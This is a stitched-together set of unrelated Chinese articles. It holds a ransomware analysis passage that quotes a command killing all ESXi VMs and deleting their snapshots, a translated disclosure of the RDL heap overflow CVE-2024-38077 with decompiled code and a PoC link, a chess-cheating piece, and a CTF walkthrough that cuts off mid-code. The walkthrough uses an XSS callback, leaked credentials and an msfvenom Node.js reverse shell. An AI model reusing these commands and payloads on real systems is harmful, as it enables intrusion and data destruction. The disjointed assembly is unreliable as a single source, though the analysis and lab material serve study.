100MB）以及在哪里加密整个文件内容（<100MB）。 在加密文件时，加密器会在文件名后附加一个随机的七个字符的扩展名，并创建名为“RECOVER-[扩展名]-DATA.txt”的勒索信，如下所示。 值得注意的是，BlackCat/ALPHV 加密器也使用了随机的七个字符的扩展名和名为“RECOVER-[扩展名]-FILES.txt”的勒索信。 Cicada3301 勒索信 勒索软件的操作员可以设置休眠参数来延迟加密器的执行，从而可能逃避立即检测。“no_vm_ss”参数还命令恶意软件加密 VMware ESXi 虚拟机而不尝试先关闭它们。 但是，默认情况下，Cicada3301 首先使用 ESXi 的“esxcli”和“vim-cmd”命令关闭虚拟机并删除其快照，然后再加密数据。 esxcli –formatter=csv –format-param=fields==\”WorldID,DisplayName\” vm process list | grep -viE \”,(),\” | awk -F \”\\\”*,\\\”*\” \'{system(\”esxcli vm process kill –type=force –world-id=\”$1)}\’ > /dev/null 2>&1; for i in `vim-cmd vmsvc/getallvms| awk \'{print$1}\’`;do vim-cmd vmsvc/snapshot.removeall $i & done > /dev/null 2>&1Cicada3301 的成功率表明攻击者经验丰富，且目的明确清晰。这进一步支持了 ALPHV 重启的假设，或者至少利用了具有勒索软件经验的关联方。 新勒索软件专注于 ESXi 环境，凸显了其战略设计，旨在最大限度地破坏企业环境，而许多威胁者现在将企业环境作为获利目标。 Cicada3301 将文件加密与破坏虚拟机操作和删除恢复选项的能力相结合，确保可以发起影响整个网络和基础设施的高影响力攻击，从而最大限度地给受害者施加压力。

一、事件背景 2024年7月9日，微软官方发布了一个针对“windows远程桌面授权服务远程代码执行漏洞”（CVE-2024-38077）的修复补丁包，起初并没有引起大家的警觉。近日在国外某网站上疑似漏洞的作者公开了该漏洞的“POC验证代码”。一时激起千层浪，该漏洞开始疯狂发酵并在安全圈里转发。 该文章的原文链接为： https://sites.google.com/site/zhiniangpeng/blogs/MadLicense 链接里也附上了漏洞验证视频： https://www.youtube.com/watch?v=OSYOrRS2k4A&t=8s 有意思的是，截至本文发稿前，这篇文章和文章里提到的漏洞验证视频已均被作者删除。我们就先从作者发的这个链接来看看其中的一些端倪。 二、原文翻译 注：以下内容为原文翻译，我们对其中需重点关注的部分做了标记。 【背景】 今年早些时候，我们对 Windows 远程桌面服务进行了深入分析，发现了多个漏洞，所有相关漏洞（56 例）都已报告给微软。其中包括远程桌面授权服务中的多个 Preauth RCE 漏洞（未经身份验证的非沙盒 0-click RCE）。这些漏洞可用于构建针对 Windows 远程桌面授权服务的多个 Preauth RCE 漏洞。是的，它们是多年来在 Windows 中未见过的 0-click preauth RCE。我们将它们称为Mad、Bad 和 Dead Licenses 漏洞。 本文是关于这些漏洞的系列文章中的第一篇。 在本文中，我们介绍了漏洞 CVE-2024-38077（我们将其命名为 MadLicense【狂躁许可】），并在启用了完整和新缓解措施的 Windows Server 2025 上演示了该漏洞的利用。我们之所以选择 Windows Server 2025，是因为微软声称 Windows Server 2025 提供了下一代安全改进。并且该漏洞适用于 Windows Server 2000到2025（所有 Windows Server ）。 我们现在不会给出详细的技术解释，也不会提供完整的POC 。但是这里的伪代码足以了解此漏洞。为了防止滥用，此处的 python 代码实际上是伪代码。你甚至无法使用此伪代码触发漏洞，更不用说利用它了。这足以证明其严重性，并为防御者在真正弄清楚如何利用它之前采取行动提供足够的时间。 我们在一个月前就通知微软这个漏洞可以被利用，但微软仍将其标记为不太可能被利用。因此我们在此进行了负责任的披露。我们的目的是提高人们对该漏洞风险的认识，并鼓励用户及时更新系统以解决这些问题。Defender 还可以使用本博客中的信息来检测和阻止可能的攻击。 【介绍】 2024年7月，我们报告的以下7个与RDP相关的漏洞已被Microsoft修复： CVE-2024-38077：Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38076：Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38074：Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38073：Windows 远程桌面许可服务拒绝服务漏洞 CVE-2024-38072：Windows 远程桌面授权服务拒绝服务漏洞 CVE-2024-38071：Windows 远程桌面许可服务拒绝服务漏洞 CVE-2024-38015：Windows 远程桌面网关（RD 网关）拒绝服务漏洞 其中，Windows 远程桌面授权服务中的 3 个 CVSS 评分为 9.8 的 RCE 漏洞值得关注。在微软的公告中，他们认为这些漏洞不太可能被利用。但事实并非如此。事实上，我们在补丁发布之前就告知了微软这些漏洞的可利用性。 在本博客中，我们将演示如何利用 Windows Server 2025上的 CVE-2024-38077 进行预认证 RCE 攻击，绕过所有现代缓解措施，在最新的 Windows Server 上实现零点击 RCE。是的，你没听错，只需利用一个漏洞，你无需任何用户交互即可实现此目的。 【远程桌面许可 (RDL) 服务】 远程桌面许可服务是 Windows Server 的一个组件，用于管理和颁发远程桌面服务的许可证，确保对远程应用程序和桌面的安全且合规的访问。 RDL 服务广泛部署在启用了远程桌面服务的机器上。默认情况下，远程桌面服务仅允许同时使用两个会话。要启用多个同时会话，您需要购买许可证。RDL 服务负责管理这些许可证。RDL 被广泛安装的另一个原因是，在Windows 服务器上安装远程桌面服务 (3389) 时，管理员通常会勾选安装 RDL 的选项。这导致许多启用了 3389 的服务器也启用了 RDL 服务。 在审计RDL服务之前，我们进行了网络扫描，以确定RDL服务在互联网上的部署情况。我们发现至少有17万个活跃的RDL服务直接暴露在公共互联网上，而内部网络中的数量无疑要大得多。此外，RDL服务通常部署在关键业务系统和远程桌面集群中，因此RDL服务中的预认证RCE漏洞对网络世界构成了重大威胁。 【CVE-2024-38077：一个简单的堆溢出漏洞】 终端服务器授权程序旨在管理将任何用户或设备连接到服务器所需的终端服务 CAL。在CDataCoding::DecodeData过程中，会分配一个固定大小的缓冲区（21 字节），然后使用该缓冲区计算并填充用户控制的长度缓冲区，从而导致堆溢出。 这是调用堆栈和伪代码： windbg 0:012> k # Child-SP RetAddr Call Site 00 000000b9`d2ffbd30 00007fff`67a76fec lserver!CDataCoding::DecodeData 01 000000b9`d2ffbd70 00007fff`67a5c793 lserver!LKPLiteVerifyLKP+0x38 02 000000b9`d2ffbdc0 00007fff`67a343eb lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163 03 000000b9`d2ffd7d0 00007fff`867052a3 lserver!TLSRpcTelephoneRegisterLKP+0x15b 04 000000b9`d2fff0c0 00007fff`8664854d RPCRT4!Invoke+0x73 05 000000b9`d2fff120 00007fff`86647fda RPCRT4!NdrStubCall2+0x30d 06 000000b9`d2fff3d0 00007fff`866b7967 RPCRT4!NdrServerCall2+0x1a 07 000000b9`d2fff400 00007fff`86673824 RPCRT4!DispatchToStubInCNoAvrf+0x17 08 000000b9`d2fff450 00007fff`866729e4 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194 09 000000b9`d2fff520 00007fff`86688d4a RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4 0a 000000b9`d2fff7c0 00007fff`86688af1 RPCRT4!OSF_SCALL::DispatchHelper+0x13a 0b 000000b9`d2fff8e0 00007fff`86687809 RPCRT4!OSF_SCALL::DispatchRPCCall+0x89 0c 000000b9`d2fff910 00007fff`86686398 RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1 0d 000000b9`d2fff9b0 00007fff`86697f4c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x34c 0e 000000b9`d2fffab0 00007fff`840377f1 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc 0f 000000b9`d2fffb30 00007fff`867f7794 KERNELBASE!BasepTpIoCallback+0x51 10 000000b9`d2fffb80 00007fff`867f7e37 ntdll!TppIopExecuteCallback+0x1b4 11 000000b9`d2fffc00 00007fff`85b11fd7 ntdll!TppWorkerThread+0x547 12 000000b9`d2ffff60 00007fff`8683d9c0 KERNEL32!BaseThreadInitThunk+0x17 13 000000b9`d2ffff90 00000000`00000000 ntdll!RtlUserThreadStart+0x20 C void __fastcall CDataCoding::SetInputEncDataLen(CDataCoding *this){ // ... dword_1800D61D0 = 35; v1 = log10_0((double)dword_1800D61C8) * 35.0; v2 = v1 / log10_0(2.0); v3 = (int)v2 + 1; v4 = 0; if ( v2 <= (double)(int)v2 ) v3 = (int)v2; LOBYTE(v4) = (v3 & 7) != 0; LODWORD(dwBytes) = (v3 >> 3) + v4; // dwBytes is a fixed value 21}__int64 __fastcall CDataCoding::DecodeData( CDataCoding *this, const unsigned __int16 *a2, unsigned __int8 **a3, unsigned int *a4){ // ... v4 = 0; v8 = 0; if ( a3 ) { // dwBytes is a global variable with value 21 v9 = dwBytes; *a3 = 0i64; *a4 = 0; ProcessHeap = GetProcessHeap(); v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9); v12 = v11; if ( v11 ) { memset_0(v11, 0, (unsigned int)dwBytes); while ( *a2 ) { // Str is BCDFGHJKMPQRTVWXY2346789 // a2 is user-controlled buffer v13 = wcschr_0(Str, *a2); if ( !v13 ) { v4 = 13; v18 = GetProcessHeap(); HeapFree(v18, 0, v12); return v4; } // here change the integer a2 from base 24 to base 10 // but does not check the length of a2 v14 = v13 - Str; v15 = v12; v16 = (unsigned int)(v8 + 1); do { v17 = dword_1800D61C8 * *v15 + v14; *v15++ = v17; LODWORD(v14) = v17 >> 8; --v16; } while ( v16 ); if ( (_DWORD)v14 ) v12[++v8] = v14; ++a2; } *a4 = dwBytes; *a3 = v12; } else { return 8; } } else { return 87; } return v4;}} 【POC】 这里我们只是演示了漏洞利用。详细的技术解释将在本系列的后续博客文章中。这里的 Python 代码实际上是伪代码。你甚至无法用这个伪代码触发漏洞，更不用说利用它了。这足以证明漏洞的严重性，也为防御者提供了足够的时间，让他们能够在有人真正弄清楚如何利用漏洞之前采取行动。 适用于：Windows Server 2025 标准版本 24H2（26236.5000.amd64fre.ge_prerelease.240607-1502lserver.dll(10.0.26235.5000) https://github.com/CloudCrowSec001/CVE-2024-38077-POC/blob/main/CVE-2024-38077-poc.py 【讨论POC】 该漏洞利用的 POC 在 Windows Server 2025 上的成功率超过 95%。考虑到服务崩溃后会重新启动，不需要两次泄露模块基址，最终的成功率可以更高（接近 100%）。 此 POC 将在 Windows Server 2025 上在 2 分钟内完成。但是我们这里的堆整理技术是使用 Windows Server 2025 中引入的新 LFH 缓解措施的未优化版本。我们很懒，实际上并没有完全逆转 Windows Server 2025 中的段堆机制，所以我们的堆整理只是一种启发式解决方案。它一点也不优雅。当然，你必须可以对其进行优化，以使漏洞在 Windows Server 2025 上运行得更快。 对于 Windows Server 2000 到 Windows Server 2022，利用此漏洞会更快，因为缓解措施较少。为简单起见，POC 将加载远程 DLL。但您可以让它在 RDL 进程中运行任意 shellcode。这将使其更加隐蔽。 在 Windows Server 2025 之前的版本中利用此漏洞应该更容易和更有效，但当然，你需要调整代码和偏移量。漏洞可以在 Windows Server 2000到 Windows Server 2025上构建。这里我们只在 2025 进行演示，因为 Windows Server 2025 是最新和最安全的Windows Server 。而且它仍处于预览阶段，因此 POC 不会对世界造成危害。如果要避免偏移量问题以使漏洞利用更加通用，动态搜索是可能的，但你需要将其替换为更高效的内存读取原语以使漏洞利用更加高效。 这里我们做了一个负责任的披露。为了进一步防止这个 POC 被滥用，这里发布的 POC 只是伪代码，并且是未优化的版本，其中的一些关键部分被隐藏了。但伪代码中的信息足以让研究人员检测和阻止利用。 【演示】 视频链接地址： https://www.youtube.com/watch?v=OSYOrRS2k4A&t=8s 【时间线】 2024年5月1日 向Microsoft报告此案例 2024年7月1日 告诉微软此案可利用 2024年7月9日 修复为CVE-2024-38077（微软将其标记为不太可能被利用） 2024年8月2日 将本文发送至 Microsoft 2024年8月9日 微软尚未对本文做出任何回应 2024年8月9日 文章发布 【讨论】 在本文中，我们将演示如何利用单个漏洞绕过所有缓解措施，并在被认为是最安全的 Windows Server 2025 上实现预身份验证远程代码执行 (RCE) 攻击。这在 2024 年似乎很荒诞，但这是事实。尽管微软几十年来对 Windows 进行了各种防御，并且多年来我们都没有在 Windows 中看到预身份验证 0-click RCE，但我们仍然可以利用单个内存损坏漏洞来完成整个攻击。看起来，具有“下一代安全改进”的系统这次无法阻止 30 年前同样的旧内存利用。 本文的目的是提醒用户尽快更新系统以修复漏洞。 这个组件中其实还有更多的利用，记住我们已经报告了 56 个案例（虽然微软 SRC 合并了我们的许多案例，这很烦人）。有兴趣的研究人员可以尝试弄清楚。 这是本系列的第一篇博文。有关更多漏洞、更多漏洞、与 Microsoft SRC 合作的痛苦与收获等，我们可能会在本系列的后续博文中讨论。 三、事件分析 不知道大家读完原文之后是什么感觉，笔者是体会到了原文作者对微软的深深恶意。核心原因是作者把大量漏洞报送给微软后，微软对其提交的漏洞进行了合并，并“轻描淡写”的进行了补丁升级，在补丁上也把该漏洞标记为了“不太可能被利用”，对作者本人也并未做出任何回应。这一行为明显触及了技术宅的底线，一气之下作者选择了将其公布。在crowdstrike引发了windows蓝屏事件后，又爆出了这个惊天大瓜，难免会引起唏嘘，对微软有不小的冲击。 微软给的官方补丁链接为： https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077 这里确实将该漏洞标记为了“不太可能利用”，刺激到了作者。 另外文中反复强调，放出来的POC是“伪代码”，我们也第一时间对该代码进行了验证，发现确实不能直接利用，截至发稿前正在对其核心内容进行调试。网传的POC和漏洞检测工具更是错综复杂，提醒大家一定要留个心眼，不要人云亦云。 四、漏洞影响范围 从目前得到的信息来看，触发该漏洞需要两个条件： windows版本： Windows Server 2000 - Windows Server 2025 需要开启服务： Windows Remote Desktop Licensing（RDL）Service 这里容易引起大家误解的就是这个RDL服务了，容易和我们常见的RDP产生混淆，也是为什么这个洞刚爆出来大家一致认为是“核弹级”的，能够比肩“永恒之蓝”的原因。实际上这个服务默认不会自动安装，需要额外安装才会生效，一般出现在企业环境中，个人用户基本不会安装这个服务。我们大致总结了下RDL和RDP的区别，以遍大家能更客观的评估这个漏洞的影响范围。 【RDP】 定义与功能： RDP，即远程桌面协议，是微软开发的一种网络协议，用于在图形用户界面（GUI）中提供远程连接功能。它允许用户通过网络连接到其他计算机的桌面，以便进行操作和管理。RDP的默认端口是3389。 应用场景： RDP广泛用于远程管理服务器、远程办公、技术支持等场景，允许用户通过网络在不同地点安全地访问另一台计算机。 【RDL】 定义与功能： RDL，即远程桌面许可服务，负责管理和颁发许可证。它是Windows Server角色之一，通常用于Windows Server系统。在启用远程桌面服务（RDS）的环境中，RDL确保服务器拥有足够的授权许可证，以便允许多个用户或设备通过RDP同时连接到该服务器。当客户端尝试通过RDP连接到具有远程桌面服务的服务器时，RDL会验证并分配适当的许可证，以确保用户遵循许可协议。启用RDL服务时会随机开启一个RPC的高端口，端口号通常在49152到65535之间。 应用场景： RDL一般出现在企业环境中，特别是当使用Windows Server进行远程桌面会话主机（Remote Desktop Session Host，RDSH）或虚拟桌面基础架构（VDI）时。它对用户数量和会话数量的管理至关重要。 【主要区别】 目的： RDP的主要目的是提供连接和交互功能，允许用户访问和使用远程计算机的桌面。 RDL的主要目的是管理许可证，确保连接次数在合法范围内，并控制同时允许的用户或设备数量。 技术层面： RDP是一个协议，关注的是数据的传输和连接的建立，它是直接影响用户体验的部分。 RDL是一种服务，确保合适的许可证可用并管理连接的合规性，它在后台运行，不会直接影响用户的操作体验。 使用场景： RDP可用于任何想要远程连接到Windows计算机的用户，不管是在个人设备还是在网络环境中。 RDL则更多应用于企业环境中，特别是在需要高密度并发用户的远程桌面服务中。 综上所述，RDP负责实现远程连接和用户交互，而RDL则负责管理连接的许可证和合规性。RDL主要是确保远程桌面服务在合规的用户和会话数下运行，通俗来讲，当某台服务器需要建立多个RDP连接时才会考虑开启这个服务，这个服务并不是默认加载的，需要手动安装才能生效。 从公布的“伪poc”来看，整个漏洞的检测逻辑是首先连接rpc的135端口，查询rdl服务开启的rpc端口，然后再连接rdl服务的rpc端口，访问提供的认证功能，触发漏洞。 rdl开启的rpc端口： 服务器对应的dll文件： 从www.daydaymap.com上大网测绘的数据可以看出，整个互联网上开放RDP服务的资产有近1700W个， 而互联网上RDL的资产仅有17W个（数据来源于原文作者），占比仅为1%。目前我们还正在整理互联网漏洞验证的POC细节，后续会对互联网上受影响的资产做更全面的摸排。从公开的数据已经可以看出，该漏洞的覆盖范围实际上很有限，并不是传闻中的“开机就能打”、“有远程连接服务就能打”或者“能探测到开放3389端口就能打”。与其说是RDP的漏洞，不如描述成RDL或者RPC的漏洞更为合适。 尽管如此，这也并不意味着这是一个很鸡肋的漏洞。一是因为内网资产里使用远程桌面服务的资产会远多于互联网。另外，一些集权系统如堡垒机、域控等为了对RDP连接数做有效管理和控制，更容易开启RDL服务，因此受到该漏洞影响的资产绝大多数是管理员的核心资产，从这一点上更需要引起大家的关注。我们已经发现很多堡垒机默认就会开启这个服务，需要引起大家的重视。 五、漏洞修复建议 微软已发布该漏洞的官方补丁，下载并安装相关补丁即可。对于无法安装补丁的情况，建议采取以下缓解措施： 1、如非必要，关闭Remote Desktop Licensing服务。 2、注意：此操作将影响远程桌面授权认证和分发，可能导致远程桌面出现问题影响正常业务或降低远程桌面安全性。同时，微软公告中提出：即便采取了上述缓解措施，微软仍强烈建议尽快修复漏洞以全面防护系统。 另外目前正值攻防演练期间，往上会流传大量的“检测工具”，现已发现一些恶意样本在互联网上流传，大家一定要注意识别。 原文链接

篇首语：之前杨叔写了NFL美国职业棒球联赛上的作弊猫腻，这次就聊了棋类比赛，尤其是国际象棋比赛。 前一阵“智能肛珠”的说法出来时，被曾经打败小区8号楼小学生无敌手的“非著名象棋爱好者”杨叔惊为天人，当时便写了这篇初稿。直到今天才终于写完，希望大家喜欢。 声明：以下内容符合OSINT国际开源情报搜集标准，不涉及任何非法行为，仅供交流与参考。 01 智能肛珠猜想引发的群虑 前不久，一则关于猜测棋类选手使用智能肛珠作弊的消息，传遍了网络。 一位国际象棋选手在输掉比赛后，发Twitter抱怨说怀疑对手使用了类似于“智能肛珠”这类的电子设备作弊。这种设备可以藏匿在人体内，并通过远程信号传递+振动的方式提示选手......咦？纳尼？！！ “智能肛珠”的想法确实够奇葩，杨叔其实更想知道的是： 提出这个想法的人，到底经历过什么？ 其实吧，这些年，国际象棋作弊确实已经被认为是国际象棋未来发展的最大威胁。 许多业余爱好者甚至专业人士都经常表示，作弊现象已经十分猖獗。从最低级别的在线国际象棋到世界锦标赛，对于作弊的指控已经遍及国际象棋的各个级别。 02 现场手机接听+远程指导 显然地，也有很多人怀疑在棋类赛事里，使用高科技作弊不过是个阴谋论，都是输不起的棋手抹黑对手的诡辩罢了。 .......直到出现一位年轻的选手，在比赛现场的检查中被抓个正着，呵呵。 在印度新德里举行的首届 Hedgewar 博士公开国际象棋锦标赛的第五轮比赛中，19 岁Dhruv Kakkar的对手向首席仲裁员抱怨： “我注意到他的每一次走棋都需要大约两分钟的时间，无论是复杂还是简单的棋局。” “有时我甚至认为他听错了指示并且走错了棋。” 于是，在19岁的Kakkar赢得这场比赛后，现场搜身随即被发现作弊。 小伙被抓到时一脸迷茫，像极了被拉进缅北诈骗团伙的无知青年。 Kakkar 在腰带上，装有两节 9 伏的电池。电池与他脖子上的一圈电线相连，藏在衬衫下面。它们还连接到绑在两条腿上的手机，就在脚踝上方。 呵呵，年轻人也是有心了，为防止汗液滑脱，专门用胶带把手机粘在身上，还准备了两个不同的Android手机，据分析应该是为了两场比赛。 啧啧，这腿毛，再浓密点就可以遮住设备了 下图里的小玩意是不是很眼熟？据称是在Kakkar 左耳中发现的。 它可以让Kakkar 聆听朋友舒巴姆口授的棋步，舒巴姆坐在220公里外的电脑前，通过同步使用国际象棋软件Fritz来提供“远程指导”。 哈哈，这不就是曾经在中国考场里叱咤风云的“米粒耳机”嘛，负责考场巡查的无委会技术人员肯定都知道~ 没想到走出中国，走向世界了~~ 最终，这位来自JMIT大学电子工程专业二年级的学生 Dhruv Kakkar 在一封书面信中承认作弊。 他承认使用这套器材赢得了前四轮比赛（对阵得分为 0、1913、2104 和 2258 的玩家）。赛事首席仲裁员已将 Kakkar 逐出锦标赛，并通报国际象棋联合会 (FIDE) 。 顺便说一下，这个锦标赛的奖金是100万卢布，折算人民币近9万元。 嗯，是不是觉得奖金很少？ 03 针孔摄像头+无线发射设备 显然，在身上暗藏非法器材，确实是一种有效的作弊手段，尤其是在比赛奖金比较高的时候。 因佩里亚国际象棋大赛，是意大利最重要的锦标赛之一，据说奖金高达100万美金。呵呵，比起这个，印度那个锦标赛更像是乡镇企业自己搞的内部游戏。 就在意大利这个赛事里，当世界排名第 51,366 位的 Arcangelo Ricciardi 在比赛初期阶段，就轻而易举地杀入了第八轮，引发了很多人的怀疑。 赛事裁判Jean Coqueraut说，他在比赛开始就怀疑选手是不是有什么问题。因为Ricciardi 经常喝一杯水，并用手帕擦脸，以遮挡脖子上的吊坠。 于是，比赛组织方强制使用金属探测器对这位 37 岁的年轻人开展检测，最终发现一件精致的吊坠挂在他的脖子上。 这个吊坠里包含一个微型摄像头，另外还发现连接在他身体上的大量电线和一个 4 厘米长的盒子藏在他的腋下。 经过判断，摄像头被用来将国际象棋比赛实时传输到外面同伙的计算机，然后同伙通过向他腋下的盒子发送无线信号来指导Ricciardi下棋。 气疯了的意大利国际象棋联合会，启动了正式的调查，来决定是否对其体育欺诈行为提出指控。 无语的是，对于意大利而言，赛事作弊事件并没有因此终止，类似的情况依然在不断发生！ 04 老人的好帮手：智能手机 接下来出场的，是一位在拉脱维亚国际象棋界的知名人物： 臭名昭著的伊戈尔斯·劳西斯（Igors Rausis） 这位前拉脱维亚冠军曾经被誉为对年长球员的鼓舞，因为他在六年内从大约 2500 的 FIDE 评级（普通特级大师的水平）攀升至 2700 的边缘。 当时，Rausis 也成为前100 名中年龄最大的球员，甚至当他前些年闯入前100 名时，他被行业称赞为一个榜样：证明“年龄的增长不一定会成为国际象棋进步的障碍”。 而在2019年斯特拉斯堡的国际锦标赛上，这位59岁的大爷在赛事中多次借口去厕所后，终于引起了举办方的怀疑。 于是，便被人拍到了Rausis 在厕所操作事先藏匿手机作弊的实锤证据，引起了行业轰动。 由于使用智能手机作弊，这位曾代表拉脱维亚、捷克共和国和孟加拉国的乌克兰出生的棋手，被国际象棋联合会 (FIDE) 评定的锦标赛禁赛六年，并剥夺了他的特级大师头衔。 甚至2020年，大爷想暗中参加一场拉脱维亚北部小镇瓦尔卡举行的小型比赛，依然会被不依不饶的其他选手们联合抗议抵制。 唉，大爷，都什么时代了？ 麻烦上Ebay、Amazon，看看那些Spyshop里最新无线器材可好？ 所以，这就是为何国际象棋比赛禁止使用手机，因为国际象棋软件是可以用来“指导”获胜的。 鉴于使用下棋软件作弊愈发增多的态势，甚至有位大学教授，还专门研究了人类下国际象棋与游戏AI的行为匹配度，来推敲选手是否在使用电脑或手机程序作弊。 有人出版了这么一本书，难道是作弊指南？哈哈，推荐给大家~ 05 不断升级的象棋赛事安检 这些层出不穷的作弊手段，给国际象棋比赛都蒙上了一层阴影，搞得“输了比赛就指责对方作弊”的选手也越来越多。 出于无奈的考虑，现在国际象棋赛事中已经加入了选手入场前金属检测的环节，对，和你想的一样，就是机场安检的那一套。 不过在杨叔看来，这样的安检太粗糙了，作为比赛现场的安全防护，至少在信号层面的压制或屏蔽，还是十分有必要的。 杨叔提供一些建议供赛事方参考： 禁止棋类赛事的直播 禁止比赛选手携带任何电子设备 在比赛区域内启用信号屏蔽 阻止选手与外部的互动 估计国际象棋协会主席也只能嘟囔着：God！FXXK......然后继续在赛事期间安排专人监督吧。 回想起以前那个技术有限的时代，当众观看大师级比赛也是一种难忘的回忆。 好了，这期就到这里。

0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞，通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。 Moonraker: 1镜像下载地址： http://drive.google.com/open?id=13b2ewq5yqre2UbkLxZ58uHtLfk-SHvmA 0x02 信息收集 1.存活主机扫描 root@kali2018:/# arp-scan -l 发现192.168.1.10是目标靶机系统 2.端口扫描 namp扫描目标靶机端口 root@kali2018:~# nmap -p - -A 192.168.1.10 --open Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-11 16:21 EST Nmap scan report for 192.168.1.10 Host is up (0.00077s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 22/tcp open sshOpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0) | ssh-hostkey: | 2048 5f:bf:c0:33:51:4f:4a:a7:4a:7e:15:80:aa:d7:2a:0b (RSA) | 256 53:59:87:1e:a4:46:bd:a7:fd:9a:5f:f9:b7:40:9d:2f (ECDSA) |_ 256 0d:88:d9:fa:af:08:ce:2b:13:66:a7:70:ec:49:02:10 (ED25519) 80/tcp open httpApache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: MOONRAKER 3000/tcp open httpNode.js Express framework | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=401 |_http-title: Site doesn't have a title (text/html; charset=utf-8). 4369/tcp open epmdErlang Port Mapper Daemon | epmd-info: | epmd_port: 4369 | nodes: |_ couchdb: 33681 5984/tcp open couchdb? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 Object Not Found | Cache-Control: must-revalidate | Connection: close | Content-Length: 58 | Content-Type: application/json | Date: Mon, 11 Feb 2019 21:22:55 GMT | Server: CouchDB/2.2.0 (Erlang OTP/19) | X-Couch-Request-ID: bf092a958f | X-CouchDB-Body-Time: 0 | {"error":"not_found","reason":"Database does not exist."} | GetRequest: | HTTP/1.0 200 OK | Cache-Control: must-revalidate | Connection: close | Content-Length: 164 | Content-Type: application/json | Date: Mon, 11 Feb 2019 21:22:02 GMT | Server: CouchDB/2.2.0 (Erlang OTP/19) | X-Couch-Request-ID: f038a56575 | X-CouchDB-Body-Time: 0 |{"couchdb":"Welcome","version":"2.2.0","git_sha":"2a16ec4","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}} | HTTPOptions: | HTTP/1.0 500 Internal Server Error | Cache-Control: must-revalidate | Connection: close | Content-Length: 61 | Content-Type: application/json | Date: Mon, 11 Feb 2019 21:22:02 GMT | Server: CouchDB/2.2.0 (Erlang OTP/19) | X-Couch-Request-ID: fdeb1a3860 | X-Couch-Stack-Hash: 1828508689 | X-CouchDB-Body-Time: 0 |_{"error":"unknown_error","reason":"badarg","ref":1828508689} NMAP扫描输出显示开放端口服务：22（ssh），80（http），110（pop3），3000（node.js），4369（epmd）,5984（couchdb） 3.目录扫描 我比较喜欢gobuster和DirBuster来进行目录扫描，这里我用gobuster进行目标目录扫描。 在扫描完成后，发现一个可疑的目录为/services 打开该目录的链接地址http://192.168.1.10/services/,可以在网页底部看到SEND AN INIRIRY的超级链接，然后打开超链接。 打开链接后显示了一个售后联系信息页面。注意到有人会查询我们提交的信息，并会在5分钟内与我们联系。 这里我们使用<img>标签嵌套了我的远程服务网站地址。（只要对方访问了该嵌套xss，远端服务器的日志就会被记录访问请求日志记录） apache启动 在提交信息前，启动apache服务，并在/var/www/html目录下新建一个测试文件test.txt，内容随便写一个。 root@kali2018:~# /etc/init.d/apache2 start [ ok ] Starting apache2 (via systemctl): apache2.service. root@kali2018:~# cd /var/www root@kali2018:/var/www# ls html root@kali2018:/var/www# cd html/ root@kali2018:/var/www/html# ls index.html index.nginx-debian.html root@kali2018:/var/www/html# vi test.txt root@kali2018:/var/www/html# 测试apache服务器能正常访问 随后可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。点击提交后，它已显示感谢您的提交消息，如下图所示。 通过命令查看apache访问日志 tail -f /var/log/apache2/access.log 可以发现日志中有一个有趣的http refefer地址：http://192.168.1.10/svc-inq/salesmoon-gui.php 0x03 漏洞利用 1.CouchDB信息收集 我们在浏览器中打开http refefer请求地址 然后显示出"返回销售管理后台"的超链接,点击可进入到销售后台管理登录页面。 接下来我们点击CouchDB Notes并得到一些关于用户名的密码的提示： 用户名：jaws ，密码：jaws女友名字+ x99 在这里，我们谷歌搜索Jaws' girlfriend 已获取到Fauxton系统中Apache CouchDB的用户名和密码。要了解有关Fauxton和CouchDB的更多信息，我们可以通过googel搜索它们的使用方法(http://docs.couchdb.org/en/stable/fauxton/install.html). 2.CouchDB登录及信息泄露 由于端口5984是开放的。可以打开CouchDB登录页面(192.168.1.10:5984/_utils/). 这里我们使用了Login Credentials，如下所示： Username: jaws Password: dollyx99 已成功登录,现在让我们查看这3个数据库中的信息。 该links数据库暴露出更多的信息 查看该链接数据库中的文档，因为每个文档都包含目录链接，但第三个目录链接可能会为我们的下一步渗透提供有用的信息。 因此，我们打开第三个文档的连接，并查看到有用的连接目录信息。 所以上面的链接，在打开后显示出一个人事办公备忘记录的信息（这里记录几个人的重要邮件信息） 可以看到邮件中泄露了用户名和密码 3.Node.js反序列化 这里打开http://192.168.1.10/raker-sales/后台管理页面，发现“hugo's page moved to port 3k”页面是有趣的（结合上面人事备忘记录页面中的hugo邮件信息） 打开该链接后，可看到有关node.js服务器和访问的信息 用户名和密码在Hugo的HR邮件中http://192.168.1.10/HR-Confidential/offer-letters.html 显示出登录node.js的用户名和密码（通过3000端口访问） 登录后，node.js服务器会发送“Set-Cookie”信息。 Node.js反序列化漏洞相关信息可以参考该链接地址。 4.反序化漏洞利用 从NMAP Scan输出，我们知道端口3000是Node.js框架应用。因此，我们在浏览器上打开目标IP的3000端口应用并弹出登录用户界面。 Username: hugo Password: TempleLasersL2K 成功登录后，我们会在页面中显示一条消息。这个页面似乎毫无用处，但在花时间搞清楚下一步该做什么后，它变得非常有趣。 启动F12查看页面的请求信息。在Cookie中看到了base64编码信息。这里我们将以base64编码形式插入node.js反序列化漏洞。 使用msfvenom生成nodejs反弹shell msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.21 LPORT=1234 从终端输出msfvenom到rce.js rce.js： var rev = { rce: function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) 